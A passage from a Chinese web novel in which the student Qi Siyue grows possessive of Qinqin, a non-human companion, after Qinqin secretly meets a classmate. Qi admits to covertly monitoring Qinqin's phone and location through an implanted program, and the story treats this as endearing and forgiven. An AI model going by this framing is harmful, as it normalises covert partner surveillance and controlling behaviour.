祁斯越从不纠正他,导致芩芩不知不觉就惹上了不承认错误,爱撒娇糊弄的坏毛病。偏偏自己还没发觉。 祈斯越俯身过去,手臂搭在他腰上,瘦瘦软软一把。他叹谓般的呼吸喷洒在芩芩颈侧,有点痒痒的,芩芩忍不住耸着肩膀缩了下。 祁斯越手在他手臂上轻拍,没拍在芩芩敏感的腰上,低声说:“别怕,我抱着你。” 芩芩也没反抗,危机解除,没片刻,睡意再次涌了上来。 他闭上眼睛,又轻轻睁开,察觉睫毛湿濡未散,随手擦了下。 迷迷糊糊地想,被吓到的证据+1。 一切都在顺利又平静的朝前。 祁斯越上着课听到手机的震动声响,拿出来看了眼。 芩芩发来了消息。 【我是一棵小树苗:[拥抱][拥抱][拥抱]】 【Baum:[拥抱][拥抱][拥抱]】 【我是一棵小树苗:我要吃豆腐[抓狂]】 他不是真的抓狂,祁斯越忍不住勾了下唇角,芩芩是觉得张开嘴眼睛闭着,是在等饭吃。 他对表情有自己的理解。 豆腐也不是豆腐,其实是肉卷,只是因为做法原因,看起来有点像豆腐。他当时不懂肉卷懂了豆腐,就把肉卷叫做豆腐。 【Baum:几分想吃?想吃现在让司机带回去。】 【我是一棵小树苗:[右哼哼]一起吃】 祁斯越手指按出一个“好[左哼哼]”。芩芩那边右哼哼是朝着他自己的,但是祈斯越的屏幕中,却是正对着他的。 每一次发出来。 简直都是在对祈斯越索吻。 周身阴冷潮暗的气息仿佛被太阳通透的晒了一遍,他低头单手撑着额头,俯下去的肩膀遏制不住的颤抖,想笑。 第113章 第 113 章 来自芩芩的抱抱 教室内窸窸窣窣, 几个看到的同学对上视线,都明白了对方的意思,眼底有几分悚然。 事情是朝着这个方向发展的, 大家也没料到。 祈斯越外貌、家世、成绩无一不出众, 如果不是发生过什么, 不会让人避如蛇蝎, 敬而远之。 那些亦真亦假的传言不提。 就在去年,一个学长故意在擦肩而过时, 提及他的传言以讥讽, 说了难听话。 五步没开,就独自突兀从楼梯上摔下去, 二十来节楼梯,硬是把他摔成浑身多处骨折骨裂,至今还在修养。 这时还有人觉得是意外。 但如果不是一次两次呢? 一切那么碰巧,再联合上那个传言, 不管是真的假的都变成真的了。 …… 估摸着祈斯越是放学的时间,听到车行驶进门的声音, 芩芩欢欢喜喜的下楼,才发现不是祈斯越,是祈闻耀。 芩芩都快忘记祈斯越父亲的存在了,十一年的光阴, 在他脸上留下了岁月的痕迹, 身上比之前更多了种久居上位的气质。 祈闻耀看向有些不知所措的芩芩,芩芩呆站着,在想是不是要解释自己是谁。 按常理来说,祈闻耀看到陌生人出现家中,应该会质问他是谁。但祈闻耀没有, 只是看着他,更确切来说是观察。 祈斯越这时恰好进门,看到祈闻耀回来,眉头皱了秒。 略显相似的面孔是截然不同的气息。两人之间没有什么父子氛围,只看了眼算是打招呼了,他径直过来牵起芩芩的手,就牵着他上楼。 注视两人的背影,祈闻耀覆着几道皱纹的眼睛稍眯起,嗤笑一声,倒没什么恭喜的意思,只是讶异。 还真被他自己给找到了。 晚上,祈闻耀让阿姨叫他们下来一起吃个饭,提到了难得回来一趟的原因——王家要在王家庄园举办一个慈善拍卖会,已经开始造势了。 在向祈闻耀发送的邀请函中,着重提到他儿子,期待他们共同莅临。 祈闻耀问:“你去吗?” 祈斯越戴着一次性塑料手套,将剥好的虾放入盘中,很随意说:“去。” 芩芩咬着虾肉,脸颊微鼓,眼睛转了转。慈善拍卖会? “我也要去吗?”回到卧室,芩芩又坐在了桌子上,一如既往轻轻晃着腿,他有点好奇是什么样子的。 祈斯越收拾上芩芩在桌子摊开的本子,看他时,又转了口风,“我们都不去。” 一转眼,拍卖会结束的次日,阳光明媚万里无云。 这么好的天气,芩芩忍不住又睡了懒觉没来学校,王许霍咬牙瞪着祈斯越的后背。如果眼神可以当刀使,已经把祈斯越乱刀砍死了。 明明说好的要来,昨天他爸却突然说祈斯越生病了。他信不了一点,祈斯越就是故意在溜他! 他都已经把给芩芩的房间都准备好了,每一件物品都是他自己挑的。祈斯越这种人,心机太深重,太恶毒。 他有什么资格把人绑在他身边? 王许霍越挫越勇。 祈家闯了,没进去。他家那保姆力气壮如牛,现在又加了两个保安。 联系方式也加不上,用别的号也加不上。让同学传话同学又忌惮祈斯越,战战兢兢不肯帮他,还劝他不要和祈斯越作对。 他那是作对吗?快气死他了。 直到他收到了一条好友邀请,是从班级群来的。 王许霍定睛一看,竟是祈斯越。 他满脸惊悚、不敢置信的通过好友。 对面飞速发来一条消息,【王子我明天不去学校,你可以的话起早点,我们在外面见一面!我有话问你!】 王许霍缓缓:【?】 王许霍:【公主,是你吗!】 “今天也不去吗?”祈斯越在床边问。 “嗯……”芩芩掺着鼻音应声,把头埋进了被子里,缓了会才抬起来看他。 微光漏进来,芩芩还没完全从睡梦中醒来,纤毫毕现的睫毛下,眼睛仿佛蒙着一层水雾,迷迷蒙蒙,一股纯气。白薄的皮肤格外的嫩,不过叫他起床时摸了两下就溢出水红。 “可是已经好几天没去学校了,而且昨天睡得挺早的。”他看了软成一滩水的芩芩几秒,无奈说:“算了,睡吧。” 祈斯越刚下楼,芩芩就睁开一片清明的琥珀眼,隐隐听到车辆启动的声响,换了身衣服。楼下高阿姨在沙发上看综艺嗑瓜子,看起来早就醒了。 芩芩直接隐身下楼,从她身后路过,不知道出于什么原因,他也说不上来,芩芩就是不太想被祈斯越知道他去找王子了。 光明正大从保安大叔面前离开,到了角落他才解除隐身状态,又小跑了两三百米绕到另一条路,看到了停在那里的一辆黑色私家车。 芩芩的身影刚出现,后车门立马开了,后座钻出来个子高挑的少年,扶着车门,迎着晨光和他打招呼。 王许霍没穿校服,大夏天穿了个黑t。 芩芩小跑靠近,因喘息大量吸入了一股浓重霸道的香味,直冲鼻腔,他忍不住蹙眉。王许霍发觉他难受的表情,不禁有几分惊慌,故作镇定问:“干嘛,我不好闻吗?” 芩芩摇摇头,“没有啊,很香。” “那就好……”王许霍别过头摸着后脑勺,耳根隐隐发红。 “就是有点想吐。”芩芩看着他,无辜地揉揉鼻子。香的快吐了。 “……” 车辆行驶着,车窗大开,清凉的早晨气息灌进来。 前方隔板挡着,看不到司机,空间内只有他们两个。 凉风吹着芩芩雪白的脸,他还故意迎着风,发丝被风轻抚过。车窗像画框,画中人要从画中晃出来。 听完王许霍的话。 “就这个吗?” 王许霍讲的口干舌燥,拿起水瓶喝了口水,“嗯?” 芩芩回过头,“就他小时候这个吗,被绑架,他爸爸转移资产,转移后他们还是要杀祈斯越,但是祈斯越自己跑了出来,两个绑匪都被抓了。这些我都知道的,除了坏人是他姑姑姑父我不知道。” “公主,你没听到重点。”王许霍把他那边的窗户关了一半,恨不得把自己的想法全都灌过芩芩,“重点是那两个绑匪离奇受伤,都是壮汉。他当时那么小,不奇怪吗?” 芩芩又不可能说是自己干的,开始装傻,“不奇怪。” 王许霍靠在靠椅上,不敢置信地笑了声,“还有呢。” 他的思迅闪回到曾经看到的场景,表情滞了瞬,笑容平了下去。 那是在祁斯越被绑架半年之后的事。他们一群小伙伴纷纷上了小学,再也没见到祁斯越。 一群小孩聚在一起,正在人嫌狗厌的时候,具体是谁提出去祈斯越家冒险王许霍已经忘了,怎么过去的也忘了。 他最印象深刻的是趴在祈家的后院草丛里,祈斯越一身黑和两个大人站在一起,他父亲还有一个干瘦的道士。 那天天气很阴沉萧瑟,也很冷,要下秋雨。 王许霍捂着嘴,身上刺挠也不敢出声。那道士嘴里不知嘀咕着什么,从地上一个木箱子中取出块布料,指尖碾着。 祈斯越就站在箱子旁,正值生长期的身体抽条,消瘦。眼睛像两个黑沉沉的空洞,似乎朝着这边看了眼,但又好像没有。 一股焚烧的味道被风吹来,王许霍把自己的鼻子也捂住,生怕自己忍不住咳嗽。 下一秒,地面上凭空烧起暗火,似红似黑,映在三人眼里。 那火还是有规律的,像什么图案。 他根本来不及看,就见那道士振振有词,径直往火中走去。 一起来的伙伴再也控制不住,一声惊恐尖锐的小孩哭喊声响起,随后跟野火燎原似的,点燃了别的小孩,叫声接连不断,刺破天际。 忘记是谁钻出草丛跑走,把王许霍也吓得不轻,跟着尖叫逃跑,头都没回一下。 回去他就发起了高烧,一直做梦,梦到院中三人都化作了魔鬼,要冲过来烧死他。 在那之后,他们但凡聚在一起,都会惴惴地提到那件事,以证明不是自己幻想出来的。 祈家的传言越来越多,譬如祈闻耀养小鬼,招阴邪,这也是他家发展蒸蒸日上的原因。 有人说他们早晚恶有恶报,也有人眼热,想求祈闻耀指条路。 又过了几年,要上初中的时候,已经正常上学几年的祈斯越又出事了,医院根本检查不出原因。 王许霍家一个亲戚搭上了那道士闹翻的徒弟,才得知祈家那小孩是在寻鬼招魂,被邪术反噬了。 “我发誓,传言到底是真假我不知道。但我看到的没有一句谎话,有一句谎话我就不得好死。”王许霍竖着三根手指,他很想劝动芩芩离开祈斯越,往芩芩旁边挪动,低声说:“他这人真的……阴森,所以我才希望你离他远点……” 芩芩的表现完全不是他的预料,不惊讶不恐惧没追问,而是视线垂落,安静的在思考什么,睫毛轻颤,眼底隐隐有些担忧的神色。 良久才恍然说:“诶,你该去上学了吧。” 王许霍错愕:“你就说这个吗……我今天请假了,不去学校。” 不该呀,公主怎么是这种反应?这么平淡。 王许霍捋了把头发,先把躁意压下,想到芩芩还没吃早饭就出来,“算了,我带你去吃东西。带你吃好吃的,然后去玩,怎么样?” 他还是不想放弃劝芩芩。 · 祈斯越踏着夜色回到家,冷淡垂眼,看到芩芩随意放在门口的鞋,垂落身侧的手不受控的轻抖,手心隐约有抹微不可察的暗红。 他只是照常回卧室,照常露出温柔的表情说话,照常坐在餐桌上吃饭。 “祈斯越,我让高阿姨给我铺了新房间了哦,是三楼的客房。”芩芩看着他,抿抿嘴唇,在等待他的回应。 祈斯越不知道自己做出了什么表情,回答有没有漏出异常,应该是没有的,他很顺畅很自然的同意了。 没有开灯。 祈斯越靠在床头,手机屏幕亮光照在他啃咬自己指关节的失控面容上,眼底布上血丝,有几分木然的癫狂。 手机屏幕上,是代表芩芩位置的定位图,红点此时在家中,没偷偷出去。 可是今天一天,他背着他去了好多地方,一整天都和王许霍待在一起…… 他们说了什么?干了什么? 他为什么要藏着掖着? 是瞒着什么事情吗?瞒着他什么?是想离开他了吗? 芩芩现在该睡着了。 祈斯越幽魂一般来到芩芩床边,高大的身影在黑暗中像个怪物,他俯身,手指探到芩芩鼻尖,细微的气流平缓落在他手指皮肤上,不似往常沉静,他忽然意识到芩芩没睡。 原本躺着的芩芩其实已经快睡了,只是换床后一时间不适应,又听到祈斯越过来。 他撑起身体,探身把床头灯开了,暖色的灯光让一切都清晰了。 芩芩抬头,清醒的看着祈斯越,也发觉好像有点不对,半晌小声问:“你担心我死了吗?” 祈斯越下意识露出一个笑容,“我过来看看你自己睡觉有没有做噩梦。” “那你试我呼吸干嘛?”芩芩没被误导。 “……” 祈斯越不说话了,跟木头一样立在床边,沾着血迹的指节轻抖。 芩芩小脸有些拧巴,犹豫一下才开口说:“那个,我今天自己出去了,去见了王子,还没来得及告诉你。” …… “……你干嘛不说话?”芩芩被搞得都不知道要怎么说了。 “诶!祈斯越。” 还是不说话。 芩芩半起身,抓住他的手一拽,祈斯越比他大一圈的身体被他轻松拽动,顺着芩芩的力道坐在床上。 他抬头,零碎发丝下,芩芩这才看到了他满是红血丝的双眼,呆呆怔愣了几秒。 祈斯越咽喉绷着。 安静了片刻。 芩芩错愕又担心地看着他,又过了几秒,芩芩这个人连带着属于他柔软的气息,都毫不设防朝着祈斯越靠过来。 芩芩的手臂抱住了他的脖子。 带着安抚性质的,在他背上轻轻拍了拍。 “别怕啦。” 第114章 第 114 章 会陪你到你死的那一天…… 祈斯越单薄的眼皮颤了颤, 像是被抽走了一切思维,只留存着关注芩芩一举一动的那部分。 原本一直死死压着,不会说出来, 只会存在在心中的念头。就因为后背的那只轻轻拍动的手, 失了控。 “你要走吗?” 要离开我了吗?要去找谁? 他低哑干涩的声音, 再次印证了芩芩觉得他不对劲的想法, 准备先松开他,好好面对面说话, “为什么这么说?” 可对方察觉他要退开的动作, 立刻急切地环抱住了芩芩的腰,把他用力按向自己, 不肯放他离开——好像这一放开他就会消失。 芩芩稍稍挣扎了下,没办法,只能不熟练地继续拍拍他的背。 他努力的回想,语气不确定, “是因为王子吗?因为我去见他吗?” 芩芩也不确定是不是这个原因。 不会吧,就因为他说去见了王子一面, 祈斯越就这么……像只被主人丢掉的小狗一样可怜。 不至于。 比起这个,芩芩更愿意相信,祈斯越口中的“走”其实是死。 人死了也是走,祈斯越大概还是怕自己死掉, 所以才会试探呼吸, 才会深夜立在他床边凝视。 “他说,祈家那个小孩是在寻鬼招魂,被邪术反噬了……” 脑海中回荡起王子说的话,芩芩抿了抿嘴巴,垂下眼, 心里泛起一丝酸酸的感觉。 他不想让祈斯越觉得自己是因为他才“死”的,怕他内疚,才急匆匆说了自己会回来。 可祈斯越还是那么想了,不知道在多少个夜晚把一切都怪在他自己身上,甚至还去寻鬼招魂,被反噬,在芩芩回来后也没有告诉他。 还在别人眼中成为了怪异的人,成了异类。 “你先松开我,祁斯越。”芩芩按着他的手臂道。 芩芩想和他好好说,自己不会走。 可是他一句都不能算得上冷硬的话,成了点燃火药包的那点星火,本就堆了许多的易燃的因子,轻轻一触,祈斯越心中的不安、焦虑就轰然炸开。 眼前一瞬间天旋地转,芩芩呆滞的躺进软绵绵的枕头里。 他被祈斯越桎在身下,左右都是他的手臂,上方是一对看不真切、却死死盯着他的眼睛。 错乱的呼吸声越来越大,“不要走,不准走……” 芩芩缓缓咽了口口水,被祁斯越这么禁锢着,让他恍惚觉得自己像动物世界里被野兽按住的猎物……可是又很不一样,野兽是丰收喜悦,祁斯越却是焦躁不安,像在失去。 “我没有啊……我不走,嗯……也不会死,我又不是人类。” 芩芩轻声细语的说,抬起手去碰他的黑发,祈斯越的碎发把眼睛挡住了。 芩芩瘦白的手边去撩,一边说:“你别这么怕,我不会再忽然消失的。” 拨开发丝,是一对通红哀求的眼睛,深深映在芩芩脑海中。 这个人类真的很害怕失去他。 人类的生命如此短暂,沧海一粟,“我会陪着你到你死的那一天,我答应你。” 这对芩芩来说很短暂,不过几十年,他刚刚忽然想,他愿意和祈斯越待几十年。 芩芩不明白“死”其实有点不吉利,落在祈斯越耳中,这更是一句爱语,甚至是一种恩赐。 空气寂静。 祈斯越几乎不敢置信,以至于怔愣住,喉结上下滑动,“真的?” 芩芩点头,“对啊,所以你不用害怕,也不要这个样子……看起来、”很可怜。 “可是、我不是什么好人。”祈斯越语气又急又快,好像在说的这个人不是自己,“我道德低下,自私自利,会伤害别人……” “那你努力让别人原谅你啊。” “……我会检查你的手机,监视你的位置。”祈斯越说:“你每一次出门我都知道了。” 他心跳如擂鼓,不安难受到有些反胃,胃里又苦又酸。 芩芩没有立刻回答。 果然,他不配芩芩心甘情愿留下来陪他一辈子,他必须时刻遮遮掩掩自己肮脏阴暗的心思,不能被芩芩发现才对,否则会吓跑他。 芩芩半晌才说,“怎么做到的?” 他下意识回答,“植入一个程序。” 芩芩想了想,“那你也弄一个,我也要看你的。” 没听到祈斯越的回答,他语气稍微高了些,“不然不公平啊,凭什么只有你能看到我的?” 芩芩鼻尖皱着,不太愉悦地看他。 是在做梦吧。 所有酸苦反胃瞬间消散,他被一团柔软香甜的梦包裹,整个人飘飘忽忽。 芩芩眼看着他凑过来,嘴唇被轻轻碰了一下。 仅仅几秒钟,祈斯越就挪开了,把头埋进他肩颈处的枕头里,颤抖着喘息。 足够近的距离,让他散发的热气,剧烈的心跳声都被芩芩感知到。 “你在干嘛?亲我吗?”芩芩抿了下嘴唇,侧头看祈斯越,什么也看不到,就推他身体,依旧推不动。 “怎么又不说话了啊。”芩芩干脆去掰他的脸。 祈斯越从他身上挪下去,芩芩立马在枕头上侧过身,两手掰过祈斯越的脸颊,掐他几乎掐不起来的肉。 两人距离极近,这世界仿佛只余下他们两个。 芩芩侧躺,嘴巴努着报复他,好闻的气味不断往他面上扑,让祁斯越浑身发烫,意乱神迷。 可耻的生理反应让他不敢再趴在芩芩身上。 “说话呀。” 祈斯越低声说:“因为喜欢…亲吻是表达人类喜欢的方式。” 芩芩愣了下,松开了手,小扇子似的睫毛扑闪,在思考什么。 极短的时间。 祈斯越唇上一软,芩芩已经迅速缩回去,眼中没有掺杂丝毫情欲,纯粹地看着他。 刹那间,彻底有什么东西突破防线,在他胸腔内四处冲撞,把他思维理智都搅得七零八落。 祈斯越大脑猛地空白,浑身不正常的颤抖,难以自持地哑声唤道:“芩芩、” 片刻后,芩芩嗅闻了下,皱起眉,嘟囔了一句,“什么味道,你闻到了吗?” …… 祈斯越要带他回去睡,芩芩想起王许霍今天吃饭时惊愕的表情,“你跟他一起睡?你跟他一起睡!?” “我们已经很大了,已经不可以一起睡一张床了。”芩芩认为自己在教育祈斯越,祈斯越没有妈妈,爸爸也不管他,他或许不懂。 祈斯越面色已经恢复如常,微抖的手指拿起芩芩的手机,在网上查询了结果给他看——互相喜欢的人是要睡一起的。 并告诉芩芩不互相喜欢的人才不能一起睡。 于是芩芩趴在祈斯越肩上,迷迷糊糊又被抱了回去,躺回了原本的枕头上,听着浴室传来祈斯越洗澡的水声。 今天还没洗澡吗? “你今天不去上学?”芩芩万万没有想到,有一天这句话是他问祈斯越。 芩芩侧躺在床上看综艺,是高阿姨推荐给他看的。祈斯越单手圈着他的腰,脸就贴在他颈后,他的头发和呼吸都很扰人。 “请病假了。”他闷声说。 “你生病了?”芩芩略微回头。 “没有。” 祈斯越还是被芩芩赶去上学了,祈斯越问可不可以开共享位置,芩芩真搞不懂有什么必要,但把手机递给了他。 祈斯越盯着手机上,自己离动画小树头像越来越远,侧头看向窗外,天气好得像做梦…… 芩芩不懂,这是不一样的,共享位置是被允许的,光明正大的。 一直粘着芩芩会让他烦,所以有必要安排给芩芩独立空间,不让芩芩觉得他的存在是烦恼才行。 目光落在窗外飞逝的风景,可思绪半点没在。 昨晚芩芩说的每一句话、每一个动作都在大脑反复重播,尤其是那个吻。 这时候记忆力好又成了好事。 他握手机的手背青筋微凸,肉眼可见的颤抖,随即单手捂了下发烫的脸,呼出口气。 芩芩来店里的次数并不多,但几个服务员每次见他,都表现的十分欢喜熟稔,仿佛芩芩已经是老熟客了。 “诶,你哥哥今天没来吗?”有个服务员试探性问。 芩芩知道他说的是谁,毕竟只有一个人和他一起来过,他摇摇头,解释说:“他不是我哥哥,我们是朋友哦,他现在在上学。” 服务员连忙“哦哦抱歉”,动手把焖锅摆上去放食材。芩芩来店里吃通常会点不一样菜式,不会只点最喜欢的豆腐肉卷。 但不能点太多,以免剩下浪费。 随手打开手机消磨时间等待,一个有些熟悉稍沉的声音叫了声他,“芩芩?” 芩芩有些迷茫去看,看到叫他的人,惊喜的微张开唇。 是talin,他不远不近的端着胳膊,站在附近一个座位旁,似乎正要坐下,恰好看到了芩芩。 距离他们两个上次见面,已经过了不少时间。 当时芩芩没有手机,也没能留下联系方式,之前还觉得可惜。 谈临当着服务员的面走过来,对芩芩笑着问:“那我可以一起吃吗?” 芩芩反应过来,点点头,“当然可以啊,我请你!” 上次谈临请过他,他都没有还。 两个人又加了点菜。 谈临的话并不算多,没有王许霍能说,但又好像比祈斯越多一点,总之很风趣。 把芩芩逗笑好几次,抬起手臂用手背挡着自己的嘴巴,“不要再说了!我们好好吃饭不行吗。” 顺理成章的,当谈临提出要带他去附近的游乐场看看时,芩芩立刻答应了。说是附近,开车也用了不少时间。 敞篷跑车的风猛烈吹在芩芩脸上,肆意又自在。 谈临单手开车,另一只手摘下墨镜,架在芩芩鼻梁上,芩芩连忙用手扶住,透过后视镜看自己,感觉自己难得这么酷,忍不住拿手机拍了张照片。 芩芩的胆子属于薛定谔的大,大摆锤不敢坐,却敢坐过山车,旋转木马又看不上不想坐。 一通玩下来,天色渐晚。 傍晚清凉的风,吹散游乐场嘈杂热闹的人声。 芩芩站在角落,慌张的张望,不知道谈临去哪了。 但下一秒,谈临变魔法似的,从芩芩身后突然出现,手里拿出两个冰激凌。 “你去买冰激凌了!”芩芩惊喜地接过白色的原味冰激凌,把紫色的留给谈临。 两人就近坐到一个空置的座椅上。 夏天的下午,凉快也只是对比中午。芩芩额发已被汗微微沾湿,白净的脸颊透出红晕,出了层薄汗。 脸白,手臂也白,没有一点瑕疵,看着就跟他手里的冰激凌没什么两样。 天热冰激凌化的快,才这么会时间,就要顺着蛋卷壳流下去,芩芩情急之下,连忙用嫣红的舌尖去舔雪白的冰激凌汁水。 他太过专注,都没察觉到一旁的谈临自始至终,一直在盯着他。 第115章 第 115 章 爱人 嘴唇被轻轻碰着擦了擦, 芩芩还没来得及反应,就被谈临拉到付费水龙头旁,被谈临包着手, 将手上黏黏糊糊的触感清洗掉。 “你吃的这么快?”芩芩都没看到他吃冰激凌。 谈临盯着芩芩被水流冲刷的手指, 揉搓了下, 脑海中浮现一点舌尖, 眉头蹙起,“因为我不会慢吞吞伸着舌头舔。” 芩芩一愣, 想要回头, “你在说我吗?” 谈临看到他傻愣愣的小脸,轻笑了声, “嗯?你是伸着舌头慢吞吞舔的类型吗,我还真没注意到。” “哦。”芩芩老老实实说:“我也没怎么注意我是不是。” 清凉的水流自指尖划过,芩芩从他手里像条灵活的小鱼般抽走,谈临的手空在那里, 看着芩芩自己擦干净。 芩芩心中其实有点后悔,他本来还想着能不能尝尝紫色的是什么味道呢。 算了, 以后让祁斯越带他吃。 “我要去上次那个学校,谢谢你,又送我一次。” “ok,不用谢, 我顺路的。” 芩芩在副驾驶上缩缩身体, 伸着手臂把手机递给谈临,“你的名字怎么写,我要给你备注上去。” 谈临打上名字,芩芩正要拿回去,他举开, 对着怔愣的芩芩说:“记得和我聊天。” 芩芩认真点头,“我会的!” 到了学校,谈临沉沉注视他离开的背影,他和祁斯越之间的发展确实让谈临产生了危机感,他不得不暂时放下自己的事情,来见芩芩一次,以防这小孩忘记他。 毕竟芩芩身上还有他想要的东西。 车开到最近的商场,他散漫走进电梯靠在墙上,电梯内光线闪烁,摄像头失灵。 当门再打开时,电梯内已经空无一人。 芩芩接到祁斯越回到家,祁斯越并没有提他今天位置变动的事情,或许是没看,芩芩也来得及说。 因为回到家不久,他就在卧室沙发上蜷缩成一小团,手臂抱着腹部,低声喘息呜咽。 祁斯越端着高阿姨榨的果汁进来,看到的就是这样一幕。 他快步走到沙发边,果汁放在桌上,将芩芩从沙发里翻出来,皱眉低声问:“肚子疼?” 芩芩疼得浑身没力气,小脸都隐隐泛着白,弱弱地:“嗯。” “我去给你拿药,你先到床上躺着。”祁斯越说着,俯身抱起他,芩芩靠在他肩膀上,轻轻摇头,闷声说:“……不吃药。” “你还想吃什么?”祁斯越音调平静,语气有些没好气。 “……”芩芩不说话了。 祁斯越把他放床上,才发现他抿着嘴巴,睫毛一抖一抖,垂下的眼睛已经弥漫了一层浅浅的水汽。 身体不舒服的时候,是会更脆弱点。 祁斯越喉结滚动,禁不住有些懊恼,“不是凶,不吃药怎么会好?” 芩芩一卷被子,背对着他又缩起来,“我不一样,我已经好了,只是还有一点点疼…而已。” 芩芩刚刚察觉自己疼就立刻给自己舒缓,现在确实已经好多了,但也不至于只剩一点点,他就是不开心祁斯越那么说话…… 身旁的床褥下陷,祁斯越上了床,手伸到芩芩腹部,“那揉揉好不好?” 芩芩没说话,祁斯越已经揉了上来。 他的手大而热,温度隔着层薄布料传达到芩芩皮肤上,稍微施加一些力度,来来回回打圈按压揉弄。 芩芩刚开始身体还略微紧绷,揉着揉着就逐渐放松,软了下来,颤着睫毛缓缓闭上眼睛,从胸腔发出细闷的哼声,像是被揉得很舒服。 片刻后,他完全倚靠在了祁斯越怀里,稍稍侧头,额头贴在祁斯越下颌,不耐地叫人,“祁斯越……你的手太往上了。” “嗯,不小心的,还疼不疼了?”祁斯越哑声问。 芩芩摇摇头,其实早没有在疼了,只是祁斯越揉得很舒服,让他昏昏欲睡。 他也不想累着祁斯越,“不疼了。” 祁斯越从他衣服底下抽出手,“今天吃了什么东西?” “去了豆腐那家店里,还有吃了冰激凌。”说完芩芩忽然睁开了眼睛,眼睫闪烁,声音稍稍抬高一点:“其实冰激凌只吃了一半,还有一半热化了,就丢掉了。” 祁斯越淡淡:“原来是这样。” …… “你怎么不问我是和谁去的。”芩芩没忍住,在他身上坐起来,手按在祁斯越腹部稳住自己,转头看他。 祁斯越微不可察吸了口气,“芩芩不想说也没关系,你是自由的,我尊重你。” 虽然祁斯越这么说,但芩芩还是告诉他了,祁斯越表现的很正常。没有说怕他跟别人走之类的话。 学生有暑假,芩芩这还是第一次知道。这么好的机会,就不应该待在家里。 坐在飞机上往下看,一切都越来越小。地面上有一个个小格子,祁斯越说那是稻田,树非常多的地方是乡下的森林。 地平线是浅蓝色的弧形,蒙了一层模糊的云。 他迷迷糊糊躺下睡了一觉,再醒来下飞机,遇到的人就完全变了面孔,说话也变了。 这里有灼热的阳光,清透见底的蓝绿色海洋,海天一线一望无际。 还有清凉的海风,虽然少但很热情的人们。 由于过晒的太阳,他们总是会睡过下午才出门。去海滩,去游泳,去商场,去饭店。 住在这里的一个月,芩芩拍了很多漂亮的照片发在自己的朋友圈,然后再一点也不嫌烦的一个个回消息。 尤其是王子的消息,还有班里几个同学和谈临。 他没有在外面玩的时候,都有在认真回复。 一个难得阴天的中午,阳光罢工。 芩芩也难得比祁斯越醒得早,主要是因为前一晚睡得也比他早,祁斯越又在卫生间慢吞吞的洗澡,还没洗完芩芩就睡着了。 他小心翼翼起床出门,来到沙滩上,找了一圈也没找见昨天看到的男孩堆的城堡,他猜测是被海卷得看不清模样了。 芩芩坐在沙滩上,决定自己堆一个出来试试,感觉也不难吧。 “你好?”头顶传来声音,对方是用英语打招呼的。 芩芩眼皮一跳,迅速按塌自己堆出来歪歪扭扭的城堡,咽了口口水,眼神闪烁去看对方,“你好,怎么了?” 他来这里的这段时间已经把英语学了个大差不差,像树木吸取水份,他自己并没有意识到有多快,总之已经可以熟练使用了。 来人是个典型的英语人,虽然他的头发不是金黄色而是黑色,但是他的眼睛是深蓝色的,比今天海面的颜色还深一点,鼻子也很高。 脖子上挂着一个黑色的相机。 他笑容洋溢蹲下来,面对面和芩芩对视,芩芩迷茫看着他,不知道他要干什么。 他把相机屏幕转过来给芩芩看,芩芩虽然不解,还是看了过去,对方用手在相机上方挡着,芩芩才看见相机里是他。 是他在海滩上漫无目的寻找城堡的时候,这个人就在不远处拍他,芩芩完全没有察觉到。 “你在取景框里已经很好看了,但是……这样近点看你,更好看。”他湛蓝的眼睛直勾勾盯着芩芩,没有一丝一毫遮掩对他兴趣的意思。 他没有说谎,远处看只能看到大概的轮廓与五官,但走近才能看到他的皮肤有多细腻,五官精致的走向,睫毛下落的弧度。像是被上帝精心呵护照料的宠儿、天使。 被风吹的白色宽T恤穿在身上也格外恰到好处。 不管是手臂还有锁骨皮肤都如出一辙的细嫩,他想上手捏一捏对方的手臂,但据他对亚洲人为数不多的了解,似乎不太合适。 芩芩的目光落在屏幕上,看着对方给他展示的照片,忽然摇头,“不不不,这个不可以!” 怎么能把他堆城堡的画面拍下来!太难看了! “删掉这张。”芩芩抿着嘴巴,不满地指挥他,看他乖乖删掉才放下心,又翻看了别的照片,好在只有那么一张。 好了,现在他堆的丑城堡已经彻彻底底从这个世界上被毁灭了。 “felix。你的名字呢?”他第一次对自己删掉了自己满意的照片显得没那么不在意。 芩芩说了,他盯着芩芩的嘴唇鹦鹉学舌,缓慢地说:“kin~” 由于说的太过于滑稽,芩芩没忍住一声笑了出来,海风吹起他些许发丝,他眉眼弯弯地摇头,“不对。” 看芩芩笑,他坐在芩芩旁边,也跟着笑,没意识到芩芩是在笑他似的。 “你一个人来的?还是和家人?”felix问。 芩芩想说他不是一个人来的,还没来得及开口,头顶蓦然有一个冷淡磁性的声音已经替他回答了,“都不是,他是和爱人一起来的。” …… 被拉着回了房间,芩芩没有先洗澡换衣服,他凑到祁斯越面前,拦住他,“我听懂了,你和felix说我们是爱人。” 祁斯越下颚绷了瞬,“felix?” 名字都知道了。 芩芩迟疑点点头,他没念错吧。 “难道不是吗?”祁斯越面色平静,手指不自觉缓缓攥起。 芩芩怔住,瞬间不知道怎么回答了,祁斯越是不是弄混了什么事情。 祁斯越淡淡道:“忘了吗?你说你要陪我到死的那天,每一句话我都记得很清楚。” 祁斯越略微低头,“你说你不是人类,叫我别这么怕,你不会再忽然消失的……” 芩芩不自在地抓了抓自己的白t下摆边缘,被这么重复自己说过的话实在有点尴尬。 他是这么说了,但是。 芩芩稍稍歪头与他对视,“但是,这不是爱人吧?你好像误会了。” 祁斯越垂下眼,“你不承认也可以。” “没有,我没有不承认啊。”被祁斯越用这种表情这么说的,芩芩也不敢百分百确定了,他咬着唇肉。 他是喜欢祁斯越的。 他也确实答应了祁斯越要陪他到死。 祁斯越默不作声,骨节分明的手拿出手机,按下几个搜索词,片刻后,展现在芩芩面前。 ——陪伴一生互相喜欢的人是什么关系? 往下大致一扫,“夫妻”“爱人”“妻子”都是诸如此类的词。 “我们不是爱人,难道是夫妻吗?”这两个词让祁斯越唇角勾起,盯着芩芩,好像他必须要说出一个答案。 芩芩想了想,“可是我们都是男的啊。” 祁斯越再次把屏幕给他看,【同性恋是属于性倾向的一种……】 芩芩眨眨眼睛,“可是我没有。” “你有亲我。” 芩芩愣了片刻,小脸拧巴了一瞬,似乎在思考,好一会才说:“在人类的规则里,我们是爱人啊……” 他忽然被祁斯越抱起,根本没来得及慌张,就已经来到沙发边放下。 芩芩不知道祁斯越要干什么,为什么忽然跪在了自己面前,小声:“你干嘛?” 祁斯越自下而上用那对漆黑的瞳孔看着他,视线聚焦在他唇上,语气略显激动,“芩芩……” 随即便蓦然凑上来,含吻住他微张的嘴唇。 第116章 第 116 章 查手机 祁斯越很急, 